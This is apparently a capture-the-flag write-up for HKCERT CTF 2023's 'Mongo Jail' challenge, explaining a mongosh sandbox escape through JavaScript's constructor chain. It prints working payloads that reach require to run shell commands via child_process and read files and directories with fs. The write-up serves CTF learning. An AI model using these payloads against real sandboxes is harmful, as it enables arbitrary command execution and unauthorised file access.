👻

HKCERT CTF 2023: Mongo Jail(Pwn)

In this challenge, we are tasked with bypassing a MongoDB shell (mongosh) sandbox and executing arbitrary code.
 
The sandbox restricts access to global objects and prevents direct execution of dangerous functions, such as require and eval, by filtering out certain keywords. However, the sandbox does allow access to global objects indirectly, which can be exploited to run system commands or read files.
 
The key to bypassing this sandbox lies in using JavaScript's constructor property, which can be used to access the require function indirectly and execute arbitrary code.

Payload:

  1. Initial Exploration:
      • We start by using the constructor property on arrays to access the constructor function, which is a pointer to Function:
      []['constructor']['constructor']('var exec = require("child_process").exec; exec("ls", function(err, stdout, stderr) { console.log(stdout); });')()
This payload uses child_process.exec to run the ls command and print the output.
  1. Reading Files:
      • Another payload uses fs.readFileSync to read a specific file:
      []['constructor']['constructor']('var fs=require("fs"); console.log(fs.readdirSync("venv/bin"))')()
      • This reads the contents of the venv/bin directory.
  1. Reading Sensitive File:
  • The final payload reads a sensitive file located at /proof_CBg0IiyEoIHTxFLZEaB4mKma9TlC1UmFCsVdnyuH.sh:
[]['constructor']['constructor']('var fs=require("fs"); console.log(fs.readFileSync("/proof_CBg0IiyEoIHTxFLZEaB4mKma9TlC1UmFCsVdnyuH.sh", "utf8"))')()
  • This payload prints the content of the file, which may contain the flag or other sensitive information.
notion image